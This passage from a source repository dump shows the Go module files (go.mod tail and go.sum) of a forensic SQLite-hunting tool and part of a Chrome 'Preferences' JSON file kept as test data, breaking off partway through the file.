v2.5.3 9 | github.com/stretchr/testify v1.8.4 10 | gopkg.in/yaml.v2 v2.4.0 11 | gopkg.in/yaml.v3 v3.0.1 12 | ) 13 | 14 | require ( 15 | github.com/Velocidex/json v0.0.0-20220224052537-92f3c0326e5a // indirect 16 | github.com/Velocidex/yaml/v2 v2.2.8 // indirect 17 | github.com/alecthomas/colour v0.1.0 // indirect 18 | github.com/alecthomas/repr v0.1.1 // indirect 19 | github.com/davecgh/go-spew v1.1.1 // indirect 20 | github.com/mattn/go-isatty v0.0.14 // indirect 21 | github.com/pmezard/go-difflib v1.0.0 // indirect 22 | github.com/sergi/go-diff v1.2.0 // indirect 23 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c // indirect 24 | ) 25 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/Velocidex/json v0.0.0-20220224052537-92f3c0326e5a h1:AeXPUzhU0yhID/v5JJEIkjaE85ASe+Vh4Kuv1RSLL+4= 2 | github.com/Velocidex/json v0.0.0-20220224052537-92f3c0326e5a/go.mod h1:ukJBuruT9b24pdgZwWDvOaCYHeS03B7oQPCUWh25bwM= 3 | github.com/Velocidex/ordereddict v0.0.0-20221110130714-6a7cb85851cd h1:GA/Aogkc2wf0RCvjiSXIILg2WqGoSb5OsozwX3gvZFY= 4 | github.com/Velocidex/ordereddict v0.0.0-20221110130714-6a7cb85851cd/go.mod h1:+MqO5UMBemyFSm+yRXslbpFTwPUDhFHUf7HPV92twg4= 5 | github.com/Velocidex/yaml/v2 v2.2.8 h1:GUrSy4SBJ6RjGt43k6MeBKtw2z/27gh4A3hfFmFY3No= 6 | github.com/Velocidex/yaml/v2 v2.2.8/go.mod h1:PlXIg/Pxmoja48C1vMHo7C5pauAZvLq/UEPOQ3DsjS4= 7 | github.com/alecthomas/assert v1.0.0 h1:3XmGh/PSuLzDbK3W2gUbRXwgW5lqPkuqvRgeQ30FI5o= 8 | github.com/alecthomas/assert v1.0.0/go.mod h1:va/d2JC+M7F6s+80kl/R3G7FUiW6JzUO+hPhLyJ36ZY= 9 | github.com/alecthomas/colour v0.1.0 h1:nOE9rJm6dsZ66RGWYSFrXw461ZIt9A6+nHgL7FRrDUk= 10 | github.com/alecthomas/colour v0.1.0/go.mod h1:QO9JBoKquHd+jz9nshCh40fOfO+JzsoXy8qTHF68zU0= 11 | github.com/alecthomas/repr v0.1.1 h1:87P60cSmareLAxMc4Hro0r2RBY4ROm0dYwkJNpS4pPs= 12 | github.com/alecthomas/repr v0.1.1/go.mod h1:Fr0507jx4eOXV7AlPV6AVZLYrLIuIeSOWtW57eE/O/4= 13 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 14 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 15 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 16 | github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI= 17 | github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= 18 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= 19 | github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= 20 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= 21 | github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y= 22 | github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= 23 | github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 24 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 25 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 26 | github.com/sebdah/goldie/v2 v2.5.3 h1:9ES/mNN+HNUbNWpVAlrzuZ7jE+Nrczbj8uFRjM7624Y= 27 | github.com/sebdah/goldie/v2 v2.5.3/go.mod h1:oZ9fp0+se1eapSRjfYbsV/0Hqhbuu3bJVvKI/NNtssI= 28 | github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo= 29 | github.com/sergi/go-diff v1.2.0 h1:XU+rvMAioB0UC3q1MFrIQy4Vo5/4VsRDQQXHsEya6xQ= 30 | github.com/sergi/go-diff v1.2.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM= 31 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 32 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= 33 | github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= 34 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 35 | github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= 36 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 37 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= 38 | github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= 39 | github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk= 40 | github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= 41 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c h1:F1jZWGFhYfh0Ci55sIpILtKKK8p3i2/krTr0H1rg74I= 42 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 43 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 44 | gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= 45 | gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 46 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 47 | gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 48 | gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= 49 | gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= 50 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 51 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 52 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 53 | -------------------------------------------------------------------------------- /output/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/attachedbroo/SQLiteHunter/a2bf6ad4d949687cbd5c1050d941b7813a52b699/output/.keep -------------------------------------------------------------------------------- /test_files/Chrome/Preferences: -------------------------------------------------------------------------------- 1 | { 2 | "NewTabPage": { 3 | "PrevNavigationTime": "13350465698840145" 4 | }, 5 | "account_tracker_service_last_update": "13350442718383477", 6 | "alternate_error_pages": { 7 | "backup": true 8 | }, 9 | "announcement_notification_service_first_run_time": "13349490479550826", 10 | "apps": { 11 | "shortcuts_arch": "", 12 | "shortcuts_version": 0 13 | }, 14 | "autocomplete": { 15 | "retention_policy_last_version": 120 16 | }, 17 | "autofill": { 18 | "last_version_deduped": 120 19 | }, 20 | "bookmarks": { 21 | "added_since_power_bookmarks_launch": true 22 | }, 23 | "browser": { 24 | "has_seen_welcome_page": false, 25 | "should_reset_check_default_browser": false, 26 | "window_placement": { 27 | "bottom": 511, 28 | "left": 384, 29 | "maximized": true, 30 | "right": 1037, 31 | "top": 18, 32 | "work_area_bottom": 932, 33 | "work_area_left": 0, 34 | "work_area_right": 1706, 35 | "work_area_top": 0 36 | } 37 | }, 38 | "cached_fonts": { 39 | "search_results_page": { 40 | "fallback": [], 41 | "primary": [ 42 | "Arial" 43 | ] 44 | } 45 | }, 46 | "commerce_daily_metrics_last_update_time": "13350442718227080", 47 | "countryid_at_install": 21843, 48 | "default_apps_install_state": 3, 49 | "devtools": { 50 | "adb_key": "", 51 | "preferences": { 52 | "Inspector.drawerSplitViewState": "{\"horizontal\":{\"size\":0,\"showMode\":\"OnlyMain\"}}", 53 | "InspectorView.splitViewState": "{\"vertical\":{\"size\":1100}}", 54 | "Styles-pane-sidebar-tabOrder": "{\"Styles\":10,\"Computed\":20}", 55 | "closeableTabs": "{\"security\":true,\"chrome_recorder\":true,\"performance_insights\":true}", 56 | "currentDockState": "\"right\"", 57 | "elements.styles.sidebar.width": "{\"vertical\":{\"size\":0,\"showMode\":\"OnlyMain\"}}", 58 | "inspectorVersion": "36", 59 | "networkPanelSidebarState": "{\"vertical\":{\"size\":0,\"showMode\":\"OnlyMain\"}}", 60 | "networkPanelSplitViewState": "{\"vertical\":{\"size\":295}}", 61 | "networkPanelSplitViewWaterfall": "{\"vertical\":{\"size\":0}}", 62 | "panel-selectedTab": "\"network\"", 63 | "releaseNoteVersionSeen": "61", 64 | "request-info-formData-category-expanded": "true", 65 | "request-info-general-category-expanded": "true", 66 | "request-info-queryString-category-expanded": "true", 67 | "request-info-requestHeaders-category-expanded": "true", 68 | "request-info-requestPayload-category-expanded": "true", 69 | "request-info-responseHeaders-category-expanded": "true", 70 | "resourceViewTab": "\"timing\"" 71 | }, 72 | "synced_preferences_sync_disabled": { 73 | "adornerSettings": "[{\"adorner\":\"grid\",\"isEnabled\":true},{\"adorner\":\"subgrid\",\"isEnabled\":true},{\"adorner\":\"flex\",\"isEnabled\":true},{\"adorner\":\"ad\",\"isEnabled\":true},{\"adorner\":\"scroll-snap\",\"isEnabled\":true},{\"adorner\":\"container\",\"isEnabled\":true},{\"adorner\":\"slot\",\"isEnabled\":true},{\"adorner\":\"top-layer\",\"isEnabled\":true},{\"adorner\":\"reveal\",\"isEnabled\":true},{\"adorner\":\"media\",\"isEnabled\":false}]", 74 | "syncedInspectorVersion": "36" 75 | } 76 | }, 77 | "dips_timer_last_update": "13350461538868689", 78 | "domain_diversity": { 79 | "last_reporting_timestamp": "13350442718383764" 80 | }, 81 | "download_bubble": { 82 | "partial_view_impressions": 6 83 | }, 84 | "extensions": { 85 | "alerts": { 86 | "initialized": true 87 | }, 88 | "chrome_url_overrides": {}, 89 | "cws_info_timestamp": "13350447704803831", 90 | "install_signature": { 91 | "expire_date": "2024-04-04", 92 | "ids": [ 93 | "ghbmnnjooekpmoecnnnilnnbdlolhkhi" 94 | ], 95 | "invalid_ids": [], 96 | "salt": "9Iq+FwTyum1feprK5iqH9WJJmohXYYZKCn6CBVNnmt0=", 97 | "signature": "RddnHhdQEgwB9ZeUkrqYH5yiQJppabRTjBnjGLqx+P1qUCBf6R2T1uo7rxX/zPHPzbw+fyRAb9qow/DFEoxfWaK1dwsgflVmhsdkshY11aefc6zxKGKQZ9iYLApwey+fCIzVKqd8qCeumgXYRPdsLeKFM5y5297XwqSaoyehisowN+6/a90LGQOo2SfM2xGwd9RaUu/mWxvqYo5KxDGuPytz93rFYzISy2bliow8uryiESoK/TeDrp1pVF2OjWGe6l8BLZAxWU73SglhoQzCrwANmHR5VTE+qOy2TzJ/ax1CeAew+SqZaXxHNSRlG61UAJcghYEZgayCfWamX1qPvg==", 98 | "signature_format_version": 2, 99 | "timestamp": "13349490483609689" 100 | }, 101 | "last_chrome_version": "120.0.6099.225" 102 | }, 103 | "gaia_cookie": { 104 | "changed_time": 1705016880.362132, 105 | "hash": "2jmj7l5rSw0yVb/vlWAYkK/YBwk=", 106 | "last_list_accounts_data": "[\"gaia.l.a.r\",[]]", 107 | "periodic_report_time": 1705969117.945622 108 | }, 109 | "gcm": { 110 | "product_category_for_subtypes": "com.chrome.windows" 111 | }, 112 | "google": { 113 | "services": { 114 | "consented_to_sync": false, 115 | "signin_scoped_device_id": "c9aea5d3-700e-4c03-aba7-dc594fc4f028" 116 | } 117 | }, 118 | "history_clusters": { 119 | "all_cache": { 120 | "all_keywords": { 121 | "chrome long stalled time": { 122 | "entity_collections": [], 123 | "score": 100, 124 | "type": 4 125 | }, 126 | "chromium": { 127 | "entity_collections": [ 128 | "/collection/software" 129 | ], 130 | "score": 12.943449020385742, 131 | "type": 3 132 | }, 133 | "computer network": { 134 | "entity_collections": [ 135 | "/collection/it_glossary" 136 | ], 137 | "score": 21.07672119140625, 138 | "type": 3 139 | }, 140 | "debugging": { 141 | "entity_collections": [ 142 | "/collection/it_glossary" 143 | ], 144 | "score": 13.737242698669434, 145 | "type": 3 146 | }, 147 | "download": { 148 | "entity_collections": [ 149 | "/collection/software" 150 | ], 151 | "score": 71.26252746582031, 152 | "type": 3 153 | }, 154 | "google chrome": { 155 | "entity_collections": [ 156 | "/collection/software" 157 | ], 158 | "score": 117.9437255859375, 159 | "type": 3 160 | }, 161 | "google search": { 162 | "entity_collections": [ 163 | "/collection/websites" 164 | ], 165 | "score": 84, 166 | "type": 3 167 | }, 168 | "http": { 169 | "entity_collections": [ 170 | "/collection/it_glossary" 171 | ], 172 | "score": 74, 173 | "type": 3 174 | }, 175 | "linux": { 176 | "entity_collections": [ 177 | "/collection/software" 178 | ], 179 | "score": 72.8287353515625, 180 | "type": 3 181 | }, 182 | "macos": { 183 | "entity_collections": [ 184 | "/collection/software" 185 | ], 186 | "score": 47.76938247680664, 187 | "type": 3 188 | }, 189 | "microsoft windows": { 190 | "entity_collections": [ 191 | "/collection/software" 192 | ], 193 | "score": 57.949745178222656, 194 | "type": 3 195 | }, 196 | "monorail": { 197 | "entity_collections": [], 198 | "score": 17.257932662963867, 199 | "type": 3 200 | }, 201 | "project": { 202 | "entity_collections": [], 203 | "score": 12.943449020385742, 204 | "type": 3 205 | }, 206 | "stack overflow": { 207 | "entity_collections": [ 208 | "/collection/websites" 209 | ], 210 | "score": 30.588254928588867, 211 | "type": 3 212 | }, 213 | "velociraptor": { 214 | "entity_collections": [ 215 | "/collection/organism_classifications" 216 | ], 217 | "score": 138.2125244140625, 218 | "type": 3 219 | }, 220 | "visual studio": { 221 | "entity_collections": [ 222 | "/collection/software" 223 | ], 224 | "score": 171.96115112304688, 225 | "type": 3 226 | } 227 | }, 228 | "all_timestamp": "13350465699787481" 229 | }, 230 | "short_cache": { 231 | "short_keywords": {}, 232 | "short_timestamp": "13350193937586203" 233 | } 234 | }, 235 | "in_product_help": { 236 | "snoozed_feature": { 237 | "IPH_DesktopCustomizeChromeRefresh": { 238 | "is_dismissed": true, 239 | "last_dismissed_by": 0, 240 | "last_show_time": "13349985271645351", 241 | "last_snooze_duration": "0", 242 | "last_snooze_time": "0", 243 | "show_count": 1, 244 | "shown_for_apps": [], 245 | "snooze_count": 0 246 | }, 247 | "IPH_DownloadToolbarButton": { 248 | "is_dismissed": true, 249 | "last_dismissed_by": 4, 250 | "last_show_time": "13349772925085404", 251 | "last_snooze_duration": "0", 252 | "last_snooze_time": "0", 253 | "show_count": 1, 254 | "shown_for_apps": [], 255 | "snooze_count": 0 256 | }, 257 | "IPH_HighEfficiencyMode": { 258 | "is_dismissed": true, 259 | "last_dismissed_by": 2, 260 | "last_show_time": "13350321412217814", 261 | "last_snooze_duration": "0", 262 | "last_snooze_time": "0", 263 | "show_count": 1, 264 | "shown_for_apps": [], 265 | "snooze_count": 0 266 | } 267 | } 268 | }, 269 | "intl": { 270 | "selected_languages": "en-US,en" 271 | }, 272 | "invalidation": { 273 | "per_sender_topics_to_handler": { 274 | "1013309121859": {} 275 | } 276 | }, 277 | "language_model_counters": { 278 | "en": 66 279 | }, 280 | "media": { 281 | "engagement": { 282 | "schema_version": 5 283 | } 284 | }, 285 | "media_router": { 286 | "receiver_id_hash_token": "vAsJmDCJi5vTR4nEfL4Wfr60dvoDOEW+rzR+iwaC3EcArchJ+F5EbvRAGMPxMgqDL2OH0zlUgEGJoEQcDUtMKg==" 287 | }, 288 | "ntp": { 289 | "num_personal_suggestions": 6 290 | }, 291 | "optimization_guide": { 292 | "hintsfetcher": { 293 | "hosts_successfully_fetched": {} 294 | }, 295 | "predictionmodelfetcher": { 296 | "last_fetch_attempt": "13350459926599288", 297 | "last_fetch_success": "13350459926978969" 298 | }, 299 | "previously_registered_optimization_types": { 300 | "ABOUT_THIS_SITE": true, 301 | "HISTORY_CLUSTERS": true, 302 | "PRICE_TRACKING": true, 303 | "SHOPPING_PAGE_PREDICTOR": true, 304 | "SHOPPING_PAGE_TYPES": true, 305 | "V8_COMPILE_HINTS": true 306 | }, 307 | "store_file_paths_to_delete": {} 308 | }, 309 | "partition": { 310 | "per_host_zoom_levels": { 311 | "x": { 312 | "learn.microsoft.com": { 313 | "last_modified": "13350447263326945", 314 | "zoom_level": 3.069389038663465 315 | } 316 | } 317 | } 318 | }, 319 | "privacy_sandbox": { 320 | "anti_abuse_initialized": true, 321 | "first_party_sets_data_access_allowed_initialized": true, 322 | "m1": { 323 | "ad_measurement_enabled": true, 324 | "fledge_enabled": true, 325 | "row_notice_acknowledged": true, 326 | "topics_enabled": true 327 | } 328 | }, 329 | "profile": { 330 | "avatar_index": 26, 331 | "content_settings": { 332 | "enable_quiet_permission_ui_enabling_method": { 333 | "notifications": 1 334 | }, 335 | "exceptions": { 336 | "3pcd_heuristics_grants": {}, 337 | "3pcd_support": {}, 338 | "access_to_get_all_screens_media_in_session": {}, 339 | "accessibility_events": {}, 340 | "anti_abuse": {}, 341 | "app_banner": { 342 | "https://developer.chrome.com:443,*": { 343 | "last_modified": "13350321190409161", 344 | "setting": { 345 | "https://developer.chrome.com/": { 346 | "couldShowBannerEvents": 13350321190409140, 347 | "next_install_text_animation": { 348 | "delay": "86400000000", 349 | "last_shown": "13350321156399866" 350 | } 351 | } 352 | } 353 | }, 354 | "https://developercommunity.visualstudio.com:443,*": { 355 | "last_modified": "13350447362742557", 356 | "setting": { 357 | "https://developercommunity.visualstudio.com/": { 358 | "couldShowBannerEvents": 13350447362742528, 359 | "next_install_text_animation": { 360 | "delay": "86400000000", 361 | "last_shown": "13350447354328604" 362 | } 363 | } 364 | } 365 | }, 366 | "https://github.com:443,*": { 367 | "last_modified": "13350322137249940", 368 | "setting": { 369 | "https://github.com/": { 370 | "couldShowBannerEvents": 13350322137249908, 371 | "next_install_text_animation": { 372 | "delay": "86400000000", 373 | "last_shown": "13350322103427058" 374 | } 375 | } 376 | } 377 | }, 378 | "https://web.dev:443,*": { 379 | "last_modified": "13350321423831929", 380 | "setting": { 381 | "https://web.dev/": { 382 | "couldShowBannerEvents": 13350321423831900, 383 | "next_install_text_animation": { 384 | "delay": "86400000000", 385 | "last_shown": "13350321416059870" 386 | } 387 | } 388 | } 389 | } 390 | }, 391 | "ar": {}, 392 | "auto_picture_in_picture": {}, 393 | "auto_select_certificate": {}, 394 | "automatic_downloads": {}, 395 | "autoplay": {}, 396 | "background_sync": {}, 397 | "bluetooth_chooser_data": {}, 398 | "bluetooth_guard": {}, 399 | "bluetooth_scanning": {}, 400 | "camera_pan_tilt_zoom": {}, 401 | "client_hints": { 402 | "https://groups.google.com:443,*": { 403 | "last_modified": "13350321932728171", 404 | "setting": { 405 | "client_hints": [ 406 | 9, 407 | 10, 408 | 11, 409 | 13, 410 | 14, 411 | 16, 412 | 23, 413 | 25 414 | ] 415 | } 416 | }, 417 | "https://www.google.com:443,*": { 418 | "last_modified": "13350465935158573", 419 | "setting": { 420 | "client_hints": [ 421 | 9, 422 | 10, 423 | 11, 424 | 13, 425 | 14, 426 | 16, 427 | 23, 428 | 25 429 | ] 430 | } 431 | }, 432 | "https://www.msn.com:443,*": { 433 | "last_modified": "13350193502130605", 434 | "setting": { 435 | "client_hints": [ 436 | 8, 437 | 9, 438 | 10, 439 | 11, 440 | 12, 441 | 13, 442 | 14, 443 | 16, 444 | 23 445 | ] 446 | } 447 | } 448 | }, 449 | "clipboard": {}, 450 | "cookie_controls_metadata": { 451 | "file:///*,*": { 452 | "last_modified": "13350465745994044", 453 | "setting": {} 454 | }, 455 | "http://localhost,*": { 456 | "last_modified": "13350459921921875", 457 | "setting": {} 458 | }, 459 | "https://[*.]chrome.com,*": { 460 | "last_modified": "13350321180136619", 461 | "setting": {} 462 | }, 463 | "https://[*.]chromium.org,*": { 464 | "last_modified": "13350321991087568", 465 | "setting": {} 466 | }, 467 | "https://localhost,*": { 468 | "last_modified": "13350459931116107", 469 | "setting": {} 470 | } 471 | }, 472 | "cookies": {}, 473 | "durable_storage": {}, 474 | "fedcm_active_session": {}, 475 | "fedcm_idp_registration": {}, 476 | "fedcm_idp_signin": { 477 | "https://accounts.google.com:443,*": { 478 | "last_modified": "13349490480362620", 479 | "setting": { 480 | "chosen-objects": [ 481 | { 482 | "idp-origin": "https://accounts.google.com", 483 | "idp-signin-status": false 484 | } 485 | ] 486 | } 487 | } 488 | }, 489 | "fedcm_share": {}, 490 | "file_system_access_chooser_data": {}, 491 | "file_system_access_extended_permission": {}, 492 | "file_system_last_picked_directory": {}, 493 | "file_system_read_guard": {}, 494 | "file_system_write_guard": {}, 495 | "formfill_metadata": {}, 496 | "geolocation": {}, 497 | "hid_chooser_data": {}, 498 | "hid_guard": {}, 499 | "http_allowed": { 500 | "https://go.microsoft.com:443,*": { 501 | "last_modified": "13350193501467590", 502 | "setting": { 503 | "decision_expiration_time": "13350798301467576" 504 | } 505 | } 506 | }, 507 | "https_enforced": { 508 | "https://localhost:443,*": { 509 | "last_modified": "13350459926838064", 510 | "setting": { 511 | "added_time": "13350459926838051", 512 | "enabled": true 513 | } 514 | } 515 | }, 516 | "idle_detection": {}, 517 | "images": {}, 518 | "important_site_info": {}, 519 | "insecure_private_network": {}, 520 | "intent_picker_auto_display": {}, 521 | "javascript": {}, 522 | "javascript_jit": {}, 523 | "legacy_cookie_access": {}, 524 | "local_fonts": {}, 525 | "media_engagement": { 526 | "http://localhost:6060,*": { 527 | "expiration": "13358235931116816", 528 | "last_modified": "13350459931116823", 529 | "lifetime": "7776000000000", 530 | "setting": { 531 | "hasHighScore": false, 532 | "lastMediaPlaybackTime": 0, 533 | "mediaPlaybacks": 0, 534 | "visits": 3 535 | } 536 | }, 537 | "http://localhost:6061,*": { 538 | "expiration": "13357966765497472", 539 | "last_modified": "13350190765497480", 540 | "lifetime": "7776000000000", 541 | "setting": { 542 | "hasHighScore": false, 543 | "lastMediaPlaybackTime": 0, 544 | "mediaPlaybacks": 0, 545 | "visits": 1 546 | } 547 | }, 548 | "https://docs.velociraptor.app:443,*": { 549 | "expiration": "13358147302956221", 550 | "last_modified": "13350371302956233", 551 | "lifetime": "7776000000000", 552 | "setting": { 553 | "hasHighScore": false, 554 | "lastMediaPlaybackTime": 0, 555 | "mediaPlaybacks": 0, 556 | "visits": 1 557 | } 558 | }, 559 | "https://dotnet.microsoft.com:443,*": { 560 | "expiration": "13357969950652535", 561 | "last_modified": "13350193950652586", 562 | "lifetime": "7776000000000", 563 | "setting": { 564 | "hasHighScore": false, 565 | "lastMediaPlaybackTime": 0, 566 | "mediaPlaybacks": 0, 567 | "visits": 1 568 | } 569 | } 570 | }, 571 | "media_stream_camera": {}, 572 | "media_stream_mic": {}, 573 | "midi": {}, 574 | "midi_sysex": {}, 575 | "mixed_script": {}, 576 | "nfc_devices": {}, 577 | "notification_interactions": {}, 578 | "notification_permission_review": {}, 579 | "notifications": { 580 | "https://appuals.com:443,*": { 581 | "last_modified": "13215508770491848", 582 | "setting": 2 583 | } 584 | }, 585 | "password_protection": {}, 586 | "payment_handler": {}, 587 | "permission_autoblocking_data": {}, 588 | "permission_autorevocation_data": {}, 589 | "popups": {}, 590 | "private_network_chooser_data": {}, 591 | "private_network_guard": {}, 592 | "protected_media_identifier": {}, 593 | "protocol_handler": {}, 594 | "reduced_accept_language": {}, 595 | "safe_browsing_url_check_data": {}, 596 | "sensors": {}, 597 | "serial_chooser_data": {}, 598 | "serial_guard": {}, 599 | "site_engagement": { 600 | "https://docs.velociraptor.app:443,*": { 601 | "last_modified": "13350370759256472", 602 | "setting": { 603 | "lastEngagementTime": 13350341429001178, 604 | "lastShortcutLaunchTime": 0, 605 | "pointsAddedToday": 2.1, 606 | "rawScore": 4.397813350887118 607 | } 608 | }, 609 | "https://github.com:443,*": { 610 | "last_modified": "13350370759257710", 611 | "setting": { 612 | "lastEngagementTime": 13350341871092758, 613 | "lastShortcutLaunchTime": 0, 614 | "pointsAddedToday": 6.899999999999999, 615 | "rawScore": 6.899999999999999 616 | } 617 | } 618 | }, 619 | "sound": {}, 620 | "ssl_cert_decisions": { 621 | "https://localhost:443,*": { 622 | "last_modified": "13350151711580793", 623 | "setting": { 624 | "cert_exceptions_map": { 625 | "-202bE5smT9hD7QgW+mzllYblX4tAf9tWAWMsWcvekepedo=": 1 626 | }, 627 | "decision_expiration_time": "13350756511580731", 628 | "version": 1 629 | } 630 | } 631 | }, 632 | "storage_access": {}, 633 | "subresource_filter": {}, 634 | "subresource_filter_data": {}, 635 | "third_party_storage_partitioning": {}, 636 | "top_level_storage_access": {}, 637 | "unused_site_permissions": {}, 638 | "usb_chooser_data": {}, 639 | "usb_guard": {}, 640 | "vr": {}, 641 | "webid_api": {}, 642 | "webid_auto_reauthn": {}, 643 | "window_placement": {} 644 | }, 645 | "pref_version": 1 646 | }, 647 | "created_by_version": "120.0.6099.217", 648 | "creation_time": "13349490479398890", 649 | "exit_type": "Crashed", 650 | "icon_version": 10, 651 | "last_engagement_time": "13350465904469029", 652 | "last_time_obsolete_http_credentials_removed": 1705016939.533207, 653 | "last_time_password_store_metrics_reported": 1705973568.358144, 654 | "managed": { 655 | "banner_state": 1 656 | }, 657 | "managed_user_id": "", 658 | "name": "Person 1", 659 | "password_account_storage_settings": {}, 660 | "were_old_google_logins_removed": true 661 | }, 662 | "protection": { 663 | "macs": {} 664 | }, 665 | "safebrowsing": { 666 | "event_timestamps": { 667 | "0": { 668 | "10": [ 669 | "13349490520", 670 | "13350151709" 671 | ], 672 | "12": [ 673 | "13349772921", 674 | "13349773085", 675 | "13350195009", 676 | "13350211852", 677 | "13350211932", 678 | "13350211934", 679 | "13350465744" 680 | ] 681 | } 682 | }, 683 | "metrics_last_log_time": "13350442717", 684 | "saw_interstitial_sber2": true 685 | }, 686 | "segmentation_platform": { 687 | "client_result_prefs": "", 688 | "device_switcher_util": { 689 | "result": { 690 | "labels": [ 691 | "NotSynced" 692 | ] 693 | } 694 | }, 695 | "last_db_compaction_time": "13350355199000000" 696 | }, 697 | "sessions": { 698 | "event_log": [ 699 | { 700 | "crashed": false, 701 | "time": "13349490479537912", 702 | "type": 0 703 | }, 704 | { 705 | "did_schedule_command": true, 706 | "first_session_service": true, 707 | "tab_count": 14, 708 | "time": "13350444363763843", 709 | "type": 2, 710 | "window_count": 1 711 | }, 712 | { 713 | "crashed": false, 714 | "time": "13350447138373152", 715 | "type": 0 716 | }, 717 | { 718 | "did_schedule_command": true, 719 | "first_session_service": true, 720 | "tab_count": 1, 721 | "time": "13350459903286716", 722 | "type": 2, 723 | "window_count": 1 724 | }, 725 | { 726 | "crashed": false, 727 | "time": "13350459916618958", 728 | "type": 0 729 | } 730 | ], 731 | "session_data_status": 1 732 | }, 733 | "settings": { 734 | "a11y": { 735 | "apply_page_colors_only_on_increased_contrast": true 736 | } 737 | }, 738 | "signin": { 739 | "allowed": true 740 | }, 741 | "spellcheck": { 742 | "dictionaries": [ 743 | "en-US" 744 | ], 745 | "dictionary": "" 746 | }, 747 | "supervised_user": { 748 | "metrics": { 749 | "day_id": 154518 750 | } 751 | }, 752 | "sync": { 753 | "autofill_wallet_import_enabled_migrated": true, 754 | "data_type_status_for_sync_to_signin": { 755 | "app_list": false, 756 | "app_settings": false, 757 | "apps": false, 758 | "arc_package": false, 759 | "autofill": false, 760 | "autofill_profiles": false, 761 | "autofill_wallet": false, 762 | "autofill_wallet_credential": false, 763 | "autofill_wallet_metadata": false, 764 | "autofill_wallet_offer": false, 765 | "autofill_wallet_usage": false, 766 | "bookmarks": false, 767 | "contact_info": 